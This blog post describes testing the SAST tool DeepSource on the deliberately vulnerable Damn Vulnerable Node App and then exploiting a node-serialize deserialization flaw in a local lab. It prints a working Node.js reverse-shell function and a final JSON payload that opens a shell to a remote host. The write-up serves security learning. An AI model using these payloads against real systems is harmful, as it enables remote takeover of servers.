I. Introduction
This post is the result of some recent experimental work with DeepSource, one the many Static Application Security Testing Tools out there, and highlights some of the insights i was able to gain during my learning process.
II. About DeepSource
DeepSource is a powerful SAST engine offered as a convenient web application from which vulnerability analysis of a codebase can be conducted without requiring highly performant on premise resources. DeepSource works on the main concepts of Analyzers and Transformers.
Analyzers are language specific parsers, capable of detecting security issues in code as well as common programming antipatterns which may result in unstable conditions within the software.
Transformers on the other hand are roughly linters, and code formatters specific to every supported language which will format and style codes pushed to repositories linked to DeepSource based on the programming language's specification for good coding style.
III. The Tested Codebase: DVNA
Damn Vulnerable Node App (dvna) was the target codebase used in this exercise. It is an intentionally vulnerable nodejs application with reasonable codebase size.
In total, 4 classes of vulnerabilities were identified by DeepSource within this codebase.
IV. Focus on Deserialization
Description
Deepsource identified a zone in the code vulnerable to unsafe deserialization of user supplied objects.
Serialization is the process of converting runtime objects and data structures into a form that is easily transferable over the network (JSON, binary blob, … etc) or for storage on disk. Serialization is really appreciated by programmers as it helps to snapshot runtime entities (objects/data) into a static form which could be stored as is on disk or shared over a network.
Deserialization on the other hand is the reverse process, which involves recovering the original objects or structures from their minified/encoded static representations.
When user supplied input is not properly sanitized before deserialization, a situation of arbitrary code execution could arise, because functions too can be serialized and deserialized.
Hence a malicious user may craft serialized objects (with embedded functions) which when deserialized by the backend system will detonate the malicious functions embedded in them, and achieve the purpose coded in them.
Further inspection of the reported line suggests that the concerned code section deserialized user-supplied products in some way, and saved them to the backend system.
And the deserialization library used is node-serialize.
The deserialized products have the following structure.
So, we could technically forge our own product that adheres to this same structure, but replace one of the attributes with a function which will be immediately invoked once the object gets deserialized on the backend.
Exploiting the Vulnerability
To attempt exploiting This vulnerability, a local docker instance of the vulnerable service, was deployed for testing
1. First we learn how to craft legit objects which can get accepted by the backend without any errors based on the Product object model
The serialized json object is put into an array because the backend expects several serialized products to be given to it at that endpoint.
We save this output to test.json and submit to the web application.
The backend successfully deserialized our object and added it to its product list.
2. Now that we know how to craft valid objects for the backend, we need to try making malicious ones which get us some custom code executed at the backend during deserialization time.
To Achieve this aim, the ideal kind of javascript construct is an Immediately Invoked Function Expression
(IIFE)., it is one which gets immediately executed once referenced or read.
So the plan is as follows, we know that when we send a valid javascript object to the backend, some of its fields such name, code, tags and description get referenced when the backend attempt to assign them to a new instance of product it creates for itself. To leverage this behavior, what we simply need to do is to feed in and IIFE to one of this fields so that when the backend references (attempts to read) that field, the IIFE immediately executes whatsoever arbitrary code we placed in it.
Below is a sample javascript reverse shell, in IIFE mode and in non-IIFE mode, we will leverage the IIFE version in our subsequent malicious object.
// Immediately invoked (IIFE)
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8001, "<IP>", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
// Not Immediately invoked
function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8001, "<IP>", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
}
3. After several iterations of test and debug, the follow final payload object was obtained to get a reverse shell on the DVNA app.
[
{
"name":"st11-1",
"code":"708",
"description":"Tryna Grab a Shell",
"tags":"_$$ND_FUNC$$_function(){var net = require(\"net\");const cp = require(\"child_process\");const sh = cp.spawn(\"/bin/sh\", []);var client = new net.Socket();client.connect(8001, \"10.240.172.1\", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;}()"
}
]
This payload was saved as test2.json, then uploaded to the Web application.
After detonation of the embedded payload, a reverse shell was received on the listening machine.
Top comments (0)